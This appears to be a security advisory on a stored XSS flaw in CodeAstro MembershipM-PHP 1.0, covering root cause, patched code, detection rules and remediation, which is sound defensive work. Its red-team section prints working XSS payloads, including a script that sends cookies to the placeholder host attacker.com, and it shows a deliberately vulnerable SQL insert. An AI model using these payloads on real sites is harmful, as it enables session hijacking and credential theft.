CVE-2024-45528

Executive Summary

CVE-2024-45528 is a stored Cross-Site Scripting (XSS) vulnerability in CodeAstro MembershipM-PHP (Membership Management System in PHP) version 1.0. The flaw exists in the add_members.php script, where the fullname parameter is not properly sanitized before being stored and later rendered in the application. An attacker can inject arbitrary JavaScript code, which will execute in the context of any administrator or user viewing the member list. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a public proof-of-concept available. No official patch has been released by the vendor.

Supply Chain & Package Security

This application is a standalone PHP project, not distributed via NPM, PyPI, Go, or Ruby registries. The risk is limited to direct deployment of the vulnerable codebase.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must view the malicious member entry.
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – stored data can be modified via XSS.
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction, but the stored nature of the XSS increases persistence and reach.

Deep Dive & Mechanics

The vulnerability resides in add_members.php. The application accepts user input for the fullname field and stores it directly into the database without proper sanitization or output encoding. When the member list is rendered (likely in view_members.php or similar), the stored payload is executed in the browser.

Root Cause: Lack of input validation and output escaping. The application does not use htmlspecialchars() or equivalent functions when displaying the fullname value.

Attack Flow:

1. Attacker navigates to add_members.php.
2. Attacker submits a member with fullname containing a malicious script, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database.
4. When an administrator or any user visits the member listing page, the script executes in their browser.

Impact: An attacker can steal session cookies, redirect users to phishing pages, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (add_members.php - conceptual):

<?php
// No sanitization
$fullname = $_POST['fullname'];
$sql = "INSERT INTO members (fullname) VALUES ('$fullname')";
mysqli_query($conn, $sql);
?>

Patched Code (recommended):

<?php
$fullname = htmlspecialchars($_POST['fullname'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO members (fullname) VALUES (?)");
$stmt->bind_param("s", $fullname);
$stmt->execute();
?>

Additionally, output should be escaped when displaying:

<?php echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8'); ?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of CodeAstro MembershipM-PHP 1.0.
• A web browser with developer tools.

Exploit Steps:

1. Navigate to http://target/add_members.php.
2. Fill in the form fields. In the fullname field, enter:

   <script>alert(document.cookie)</script>
   

3. Submit the form.
4. Navigate to the member listing page (e.g., view_members.php). The script will execute.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor HTTP POST requests to add_members.php for suspicious fullname parameters containing <script>, onerror=, or other XSS patterns.
• Use WAF rules to block common XSS payloads.

Hunting:

• Query database for entries containing HTML tags in the fullname column:

  SELECT * FROM members WHERE fullname LIKE '%<script%' OR fullname LIKE '%onerror%';
  

Mitigation:

• Apply input validation and output encoding as shown in the patched code section.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network: HTTP POST to /add_members.php with fullname containing <script> tags.
• Logs: Application logs showing fullname values with HTML/JavaScript.
• Database: Rows in members table where fullname contains < or > characters.
• File: No specific file IOCs; the vulnerability is data-driven.

Detection Engineering

YARA Rule

rule CVE_2024_45528_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CodeAstro MembershipM-PHP fullname field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45528"
    strings:
        $xss1 = /fullname=.*<script/i
        $xss2 = /fullname=.*onerror/i
        $xss3 = /fullname=.*onload/i
        $xss4 = /fullname=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-45528 Stored XSS in CodeAstro MembershipM-PHP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to add_members.php with XSS payloads in fullname parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: '/add_members.php'
    keywords:
        - 'fullname='
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45528 Stored XSS in CodeAstro MembershipM-PHP"; flow:to_server,established; content:"POST"; http_method; content:"/add_members.php"; http_uri; content:"fullname="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Sanitize Input: Apply htmlspecialchars() with ENT_QUOTES and UTF-8 encoding on all user inputs before database insertion.
2. Escape Output: Use htmlspecialchars() when displaying any user-supplied data.
3. Use Prepared Statements: Switch to parameterized queries to prevent SQL injection and reduce XSS risk.
4. Implement CSP: Add a Content Security Policy header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self';
   

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one.
• Conduct a full security audit of the application.

Workaround:

• If patching is not possible, deploy a Web Application Firewall (WAF) with rules to block XSS payloads in the fullname parameter.

Valters IT
Securing Digital Frontiers